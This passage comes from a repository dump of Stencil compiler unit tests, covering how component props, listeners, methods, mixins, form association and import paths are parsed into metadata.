expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n\n    it('creates staticSourceFile for modules with exportable mixins', () => {\n      const t = transpileModule(\n        `\n        class AbstractMixin {\n          @Prop() mixinProp: string = 'default';\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends AbstractMixin {}\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.staticSourceFile).toBeDefined();\n    });\n\n    it('detects multi-level inheritance with abstract mixin', () => {\n      const t = transpileModule(\n        `\n        // Grandparent mixin\n        class GrandparentMixin {\n          @Prop() grandparentProp: string = 'grandparent';\n        }\n\n        // Parent mixin extends grandparent\n        class ParentMixin extends GrandparentMixin {\n          @Prop() parentProp: string = 'parent';\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends ParentMixin {\n          @Prop() cmpProp: string = 'cmp';\n        }\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-form-associated.spec.ts",
    "content": "import { transpileModule } from './transpile';\n\ndescribe('parse form associated', function () {\n  it('should set formAssociated if passed to decorator', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n      formAssociated: true\n    })\n    export class CmpA {\n    }\n    `);\n    expect(t.cmp!.formAssociated).toBe(true);\n  });\n\n  it('should not set formAssociated if not set', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n    }\n    `);\n    expect(t.cmp!.formAssociated).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-import-path.spec.ts",
    "content": "import { parseImportPath, serializeImportPath } from '../stencil-import-path';\n\ndescribe('stencil-import-path', () => {\n  it('serialize/parse absolute, no data ext', () => {\n    const s = serializeImportPath(\n      {\n        importeePath: '/path/to/some-file.css',\n        importerPath: '/path/to/some-file.js',\n      },\n      undefined,\n    );\n    expect(s).toBe('./some-file.css');\n    const p = parseImportPath(s);\n    expect(p.importPath).toBe('./some-file.css');\n    expect(p.basename).toBe('some-file.css');\n    expect(p.ext).toBe('css');\n    expect(p.data).toEqual({ encapsulation: 'none' });\n  });\n\n  it('serialize/parse relative, tag, no ext', () => {\n    const s = serializeImportPath(\n      {\n        importeePath: './some-file',\n        tag: 'my-tag',\n      },\n      undefined,\n    );\n    expect(s).toBe('./some-file?tag=my-tag');\n    const p = parseImportPath(s);\n    expect(p.importPath).toBe('./some-file?tag=my-tag');\n    expect(p.basename).toBe('some-file');\n    expect(p.ext).toBe(null);\n    expect(p.data.tag).toBe('my-tag');\n  });\n\n  it('serialize/parse relative, tag, css ext, no encapsulation, default mode, adding queryparams by default', () => {\n    const s = serializeImportPath(\n      {\n        importeePath: './some-file.CSS',\n        tag: 'my-tag',\n        encapsulation: 'none',\n        mode: '$',\n      },\n      undefined,\n    );\n    expect(s).toBe('./some-file.CSS?tag=my-tag');\n    const p = parseImportPath(s);\n    expect(p.importPath).toBe('./some-file.CSS?tag=my-tag');\n    expect(p.basename).toBe('some-file.CSS');\n    expect(p.ext).toBe('css');\n    expect(p.data.tag).toBe('my-tag');\n    expect(p.data.encapsulation).toBe('none');\n    expect(p.data.mode).toBe('$');\n  });\n\n  it('serialize/parse relative, tag, css ext, shadow encapsulation, mode, force adding queryparams', () => {\n    const s = serializeImportPath(\n      {\n        importeePath: './some-file.CSS',\n        tag: 'my-tag',\n        encapsulation: 'scoped',\n        mode: 'ios',\n      },\n      'queryparams',\n    );\n    expect(s).toBe('./some-file.CSS?tag=my-tag&mode=ios&encapsulation=scoped');\n    const p = parseImportPath(s);\n    expect(p.importPath).toBe('./some-file.CSS?tag=my-tag&mode=ios&encapsulation=scoped');\n    expect(p.basename).toBe('some-file.CSS');\n    expect(p.ext).toBe('css');\n    expect(p.data.tag).toBe('my-tag');\n    expect(p.data.encapsulation).toBe('scoped');\n    expect(p.data.mode).toBe('ios');\n  });\n\n  it('serialize/parse relative, tag, css ext, shadow encapsulation, mode, force do not add queryparams', () => {\n    const s = serializeImportPath(\n      {\n        importeePath: './some-file.CSS',\n        tag: 'my-tag',\n        encapsulation: 'scoped',\n        mode: 'ios',\n      },\n      null,\n    );\n    expect(s).toBe('./some-file.CSS');\n    const p = parseImportPath(s);\n    expect(p.importPath).toBe('./some-file.CSS');\n    expect(p.basename).toBe('some-file.CSS');\n    expect(p.ext).toBe('css');\n    expect(p.data).toBe(null);\n  });\n\n  it('serialize/parse dts ext', () => {\n    const s = serializeImportPath(\n      {\n        importeePath: './some-file.d.ts',\n      },\n      undefined,\n    );\n    expect(s).toBe('./some-file.d.ts');\n    const p = parseImportPath(s);\n    expect(p.importPath).toBe('./some-file.d.ts');\n    expect(p.basename).toBe('some-file.d.ts');\n    expect(p.ext).toBe('d.ts');\n    expect(p.data).toBe(null);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-listeners.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { transpileModule } from './transpile';\n\ndescribe('parse listeners', () => {\n  it('listeners', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Listen('click')\n        onClick(ev: UIEvent) {\n          console.log('click!');\n        }\n      }\n    `);\n    expect(t.listeners).toEqual([\n      {\n        name: 'click',\n        method: 'onClick',\n        capture: false,\n        passive: false,\n        target: undefined,\n      },\n    ]);\n  });\n\n  it('target', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Listen('resize', { target: 'window' })\n        windowResize(ev: UIEvent) {\n          console.log('resize!');\n        }\n      }\n    `);\n    expect(t.listeners).toEqual([\n      {\n        name: 'resize',\n        method: 'windowResize',\n        target: 'window',\n        capture: false,\n        passive: true,\n      },\n    ]);\n  });\n\n  it('multiple listeners', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Listen('click')\n        onClick(ev: UIEvent) {\n          console.log('click!');\n        }\n        @Listen('mousedown')\n        onMouseDown(ev: UIEvent) {\n          console.log('mousedown!');\n        }\n      }\n    `);\n    expect(t.listeners).toEqual([\n      {\n        name: 'click',\n        method: 'onClick',\n        capture: false,\n        passive: false,\n        target: undefined,\n      },\n      {\n        name: 'mousedown',\n        method: 'onMouseDown',\n        capture: false,\n        passive: true,\n        target: undefined,\n      },\n    ]);\n  });\n\n  it('multiple listener decorators on same method', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Listen('touchend')\n        @Listen('mouseup')\n        onUp(ev: UIEvent) {\n          console.log('up!');\n        }\n      }\n    `);\n    expect(t.listeners).toEqual([\n      {\n        name: 'touchend',\n        method: 'onUp',\n        capture: false,\n        passive: true,\n        target: undefined,\n      },\n      {\n        name: 'mouseup',\n        method: 'onUp',\n        capture: false,\n        passive: true,\n        target: undefined,\n      },\n    ]);\n  });\n\n  it('different defaults', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Listen('touchend', {\n          capture: true,\n          passive: false,\n        })\n        @Listen('click', { passive: true, target: 'document' })\n        onEvent(ev: UIEvent) {\n          console.log('up!');\n        }\n      }\n    `);\n    expect(t.listeners).toEqual([\n      {\n        name: 'touchend',\n        method: 'onEvent',\n        capture: true,\n        passive: false,\n        target: undefined,\n      },\n      {\n        name: 'click',\n        method: 'onEvent',\n        capture: false,\n        passive: true,\n        target: 'document',\n      },\n    ]);\n  });\n\n  it('should merge extended class listeners meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Listen('foo', {target: 'body'}) \n        fooHandler() {}\n      }\n      class Parent extends GrandParent {\n        @Listen('foo') \n        fooHandler() {}\n      }\n      class GrandParent {\n        @Listen('bar') \n        barHandler() {}\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.listeners).toEqual([\n      {\n        capture: false,\n        method: 'barHandler',\n        name: 'bar',\n        passive: false,\n        target: undefined,\n      },\n      {\n        capture: false,\n        method: 'fooHandler',\n        name: 'foo',\n        passive: false,\n        target: 'body',\n      },\n    ]);\n  });\n\n  describe('resolveVar', () => {\n    it('should resolve const variable in @Listen', () => {\n      const t = transpileModule(`\n        import { Component, Listen, resolveVar } from '@stencil/core';\n        \n        const MY_EVENT = 'myEvent';\n        \n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          @Listen(resolveVar(MY_EVENT))\n          onMyEvent(ev: UIEvent) {\n            console.log('myEvent!');\n          }\n        }\n      `);\n      expect(t.listeners).toEqual([\n        {\n          name: 'myEvent',\n          method: 'onMyEvent',\n          capture: false,\n          passive: false,\n          target: undefined,\n        },\n      ]);\n    });\n\n    it('should resolve const variable with as const in @Listen', () => {\n      const t = transpileModule(`\n        import { Component, Listen, resolveVar } from '@stencil/core';\n        \n        const MY_EVENT = 'myEvent' as const;\n        \n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          @Listen(resolveVar(MY_EVENT))\n          onMyEvent(ev: UIEvent) {\n            console.log('myEvent!');\n          }\n        }\n      `);\n      expect(t.listeners).toEqual([\n        {\n          name: 'myEvent',\n          method: 'onMyEvent',\n          capture: false,\n          passive: false,\n          target: undefined,\n        },\n      ]);\n    });\n\n    it('should resolve object property in @Listen', () => {\n      const t = transpileModule(`\n        import { Component, Listen, resolveVar } from '@stencil/core';\n        \n        const EVENTS = {\n          MY_EVENT: 'myEvent',\n          OTHER_EVENT: 'otherEvent'\n        } as const;\n        \n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          @Listen(resolveVar(EVENTS.MY_EVENT))\n          onMyEvent(ev: UIEvent) {\n            console.log('myEvent!');\n          }\n        }\n      `);\n      expect(t.listeners).toEqual([\n        {\n          name: 'myEvent',\n          method: 'onMyEvent',\n          capture: false,\n          passive: false,\n          target: undefined,\n        },\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-methods.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse methods', () => {\n  it('methods', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        /**\n         * @param foo bar\n         * @param bar foo\n         */\n        @Method()\n        someMethod(foo: string, bar: number) {\n\n        }\n      }\n    `);\n\n    const someMethod = {\n      complexType: {\n        parameters: [\n          {\n            name: 'foo',\n            type: 'string',\n            docs: 'bar',\n          },\n          {\n            name: 'bar',\n            type: 'number',\n            docs: 'foo',\n          },\n        ],\n        return: 'void',\n        references: {},\n        signature: '(foo: string, bar: number) => void',\n      },\n      docs: {\n        text: '',\n        tags: [\n          {\n            name: 'param',\n            text: 'foo bar',\n          },\n          {\n            name: 'param',\n            text: 'bar foo',\n          },\n        ],\n      },\n    };\n    expect(getStaticGetter(t.outputText, 'methods')).toEqual({ someMethod });\n    expect(t.method).toEqual({\n      ...someMethod,\n      internal: false,\n      name: 'someMethod',\n    });\n  });\n\n  it('should merge extended class method meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Method() async foo(): string {\n          return 'CmpA';\n        }\n      }\n      class Parent extends GrandParent {\n        @Method() async foo(): string[] {\n          return ['Parent'];\n        }\n      }\n      class GrandParent {\n        @Method() async bar(): string {\n          return 'GrandParent';\n        }\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.methods).toEqual([\n      {\n        complexType: {\n          parameters: [],\n          references: {},\n          return: 'string',\n          signature: '() => string',\n        },\n        docs: {\n          tags: [],\n          text: '',\n        },\n        internal: false,\n        name: 'bar',\n      },\n      {\n        complexType: {\n          parameters: [],\n          references: {},\n          return: 'string',\n          signature: '() => string',\n        },\n        docs: {\n          tags: [],\n          text: '',\n        },\n        internal: false,\n        name: 'foo',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-mixin.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { transpileModule } from './transpile';\n// import { c, formatCode } from './utils';\n\ndescribe('parse mixin', () => {\n  it('merges mixin class meta', () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Mixin(ParentWrap, GrandParentWrap) {\n        @Method() async fooMethod(): string {\n          return 'CmpA';\n        }\n        @Prop() fooProp: string = 'cmp a foo';\n      }\n     \n      const ParentWrap = (Base) => {\n        class Parent extends Base {\n          @Method() async fooMethod(): string[] {\n            return ['Parent'];\n          }\n          @Prop() fooProp: string = 'parent foo';\n          @Prop() barProp: string = 'parent bar';\n        }\n        return Parent;\n      }\n\n      function GrandParentWrap(Base) {\n        class GrandParent extends Base {\n          @Method() async barMethod(): string {\n            return 'GrandParent';\n          }\n          @Prop() barProp: string = 'grandparent bar';\n          @Prop() bazProp: string = 'grandparent baz';\n        }\n        return GrandParent;\n      }\n\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.methods).toEqual([\n      {\n        complexType: {\n          parameters: [],\n          references: {},\n          return: 'string',\n          signature: '() => string',\n        },\n        docs: {\n          tags: [],\n          text: '',\n        },\n        internal: false,\n        name: 'barMethod',\n      },\n      {\n        complexType: {\n          parameters: [],\n          references: {},\n          return: 'string',\n          signature: '() => string',\n        },\n        docs: {\n          tags: [],\n          text: '',\n        },\n        internal: false,\n        name: 'fooMethod',\n      },\n    ]);\n\n    expect(t.properties).toEqual([\n      {\n        attribute: 'baz-prop',\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        defaultValue: \"'grandparent baz'\",\n        docs: {\n          tags: [],\n          text: '',\n        },\n        getter: false,\n        internal: false,\n        mutable: false,\n        name: 'bazProp',\n        optional: false,\n        reflect: false,\n        required: false,\n        setter: false,\n        type: 'string',\n      },\n      {\n        attribute: 'bar-prop',\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        defaultValue: \"'parent bar'\",\n        docs: {\n          tags: [],\n          text: '',\n        },\n        getter: false,\n        internal: false,\n        mutable: false,\n        name: 'barProp',\n        optional: false,\n        reflect: false,\n        required: false,\n        setter: false,\n        type: 'string',\n      },\n      {\n        attribute: 'foo-prop',\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        defaultValue: \"'cmp a foo'\",\n        docs: {\n          tags: [],\n          text: '',\n        },\n        getter: false,\n        internal: false,\n        mutable: false,\n        name: 'fooProp',\n        optional: false,\n        reflect: false,\n        required: false,\n        setter: false,\n        type: 'string',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-props.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { getStaticGetter, transpileModule } from './transpile';\nimport { c, formatCode } from './utils';\n\ndescribe('parse props', () => {\n  it('prop optional', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val?: string;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: true,\n        reflect: false,\n        required: false,\n        type: 'string',\n        getter: false,\n        setter: false,\n      },\n    });\n\n    expect(t.property?.attribute).toBe('val');\n    expect(t.property?.type).toBe('string');\n    expect(t.property?.optional).toBe(true);\n    expect(t.cmp?.hasProp).toBe(true);\n  });\n\n  it('should correctly parse a prop with an inferred enum type', () => {\n    const t = transpileModule(`\n    export enum Mode {\n      DEFAULT = 'default'\n    }\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: Mode;\n      }\n    `);\n\n    // Using the `properties` array directly here since the `transpileModule`\n    // method doesn't like the top-level enum export with the current `target` and\n    // `module` values for the tsconfig\n    expect(t.properties[0]).toEqual({\n      name: 'val',\n      type: 'string',\n      attribute: 'val',\n      reflect: false,\n      mutable: false,\n      required: false,\n      optional: false,\n      defaultValue: undefined,\n      complexType: {\n        original: 'Mode',\n        resolved: 'Mode',\n        references: {\n          Mode: { location: 'local', path: 'module.tsx', id: 'module.tsx::Mode' },\n        },\n      },\n      docs: { tags: [], text: '' },\n      internal: false,\n      getter: false,\n      setter: false,\n    });\n  });\n\n  it('should correctly parse a prop with an unresolved type', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val?: Foo;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {\n            Foo: {\n              id: 'global::Foo',\n              location: 'global',\n            },\n          },\n          resolved: 'Foo',\n          original: 'Foo',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: true,\n        reflect: false,\n        required: false,\n        type: 'any',\n        getter: false,\n        setter: false,\n      },\n    });\n  });\n\n  it('prop required', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val!: string;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: true,\n        type: 'string',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.required).toBe(true);\n  });\n\n  it('prop mutable', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop({ mutable: true }) val: string;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        defaultValue: undefined,\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: true,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'string',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.mutable).toBe(true);\n  });\n\n  it('prop reflectAttr', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop({ reflect: true }) val: string;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        reflect: true,\n        required: false,\n        type: 'string',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.reflect).toBe(true);\n    expect(t.cmp?.hasReflect).toBe(true);\n  });\n\n  it('prop array', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: string[];\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        complexType: {\n          references: {},\n          resolved: '{}', // TODO, needs to be string[]\n          original: 'string[]',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        required: false,\n        type: 'unknown',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('unknown');\n    expect(t.property?.attribute).toBe(undefined);\n    expect(t.property?.reflect).toBe(false);\n  });\n\n  it('prop object', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: Object;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {\n            Object: {\n              location: 'global',\n              id: 'global::Object',\n            },\n          },\n          resolved: 'Object',\n          original: 'Object',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'any',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('any');\n    expect(t.property?.attribute).toBe('val');\n    expect(t.property?.reflect).toBe(false);\n  });\n\n  it('prop multiword', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() multiWord: string;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      multiWord: {\n        attribute: 'multi-word',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: undefined,\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'string',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.name).toBe('multiWord');\n    expect(t.property?.attribute).toBe('multi-word');\n  });\n\n  it('prop w/ string type', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: string;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'string',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('string');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('prop w/ number type', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: number;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'number',\n          original: 'number',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'number',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('number');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('prop w/ boolean type', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: boolean;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'boolean',\n          original: 'boolean',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'boolean',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('boolean');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('prop w/ any type', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: any;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'any',\n          original: 'any',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'any',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('any');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('prop w/ inferred string type', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val = 'mph';\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: `'mph'`,\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'string',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('string');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('prop w/ inferred number type', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val = 88;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'number',\n          original: 'number',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: '88',\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'number',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('number');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('prop w/ inferred boolean type', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val = false;\n      }\n    `);\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'boolean',\n          original: 'boolean',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: 'false',\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'boolean',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('boolean');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('prop w/ inferred any type from null', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val = null;\n      }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'any',\n          original: 'any',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: 'null',\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'any',\n        getter: false,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('any');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('should infer string type from `get()` return value', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop()\n        get val() {\n          return 'hello';\n        };\n      }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: `'hello'`,\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'string',\n        getter: true,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('string');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('should infer number type from `get()` property access expression', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        private _numberVal = 3;\n        @Prop()\n        get val() {\n          return this._numberVal;\n        };\n      }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'number',\n          original: 'number',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: `3`,\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'number',\n        getter: true,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('number');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('should infer boolean type from `get()` property access expression', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        private _boolVal = false;\n        @Prop()\n        get val() {\n          return this._boolVal;\n        };\n      }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'boolean',\n          original: 'boolean',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: `false`,\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'boolean',\n        getter: true,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('boolean');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('should correctly parse a get / set prop with an inferred enum type', () => {\n    const t = transpileModule(`\n    export enum Mode {\n      DEFAULT = 'default'\n    }\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        private _val: Mode;\n        @Prop()\n        get val() {\n          return this._val;\n        };\n      }\n    `);\n\n    // Using the `properties` array directly here since the `transpileModule`\n    // method doesn't like the top-level enum export with the current `target` and\n    // `module` values for the tsconfig\n    expect(t.properties[0]).toEqual({\n      name: 'val',\n      type: 'string',\n      attribute: 'val',\n      reflect: false,\n      mutable: false,\n      required: false,\n      optional: false,\n      defaultValue: undefined,\n      complexType: {\n        original: 'Mode',\n        resolved: 'Mode',\n        references: {\n          Mode: { location: 'local', path: 'module.tsx', id: 'module.tsx::Mode' },\n        },\n      },\n      docs: { tags: [], text: '' },\n      internal: false,\n      getter: true,\n      setter: false,\n    });\n  });\n\n  it('should correctly parse a get / set prop with an inferred literal type', () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        private _val: 'Something' | 'Else' = 'Something';\n        @Prop()\n        get val() {\n          return this._val;\n        };\n      }\n    `);\n\n    expect(t.properties[0]).toEqual({\n      name: 'val',\n      type: 'string',\n      attribute: 'val',\n      reflect: false,\n      mutable: false,\n      required: false,\n      optional: false,\n      defaultValue: \"'Something'\",\n      complexType: {\n        original: '\"Something\" | \"Else\"',\n        resolved: '\"Else\" | 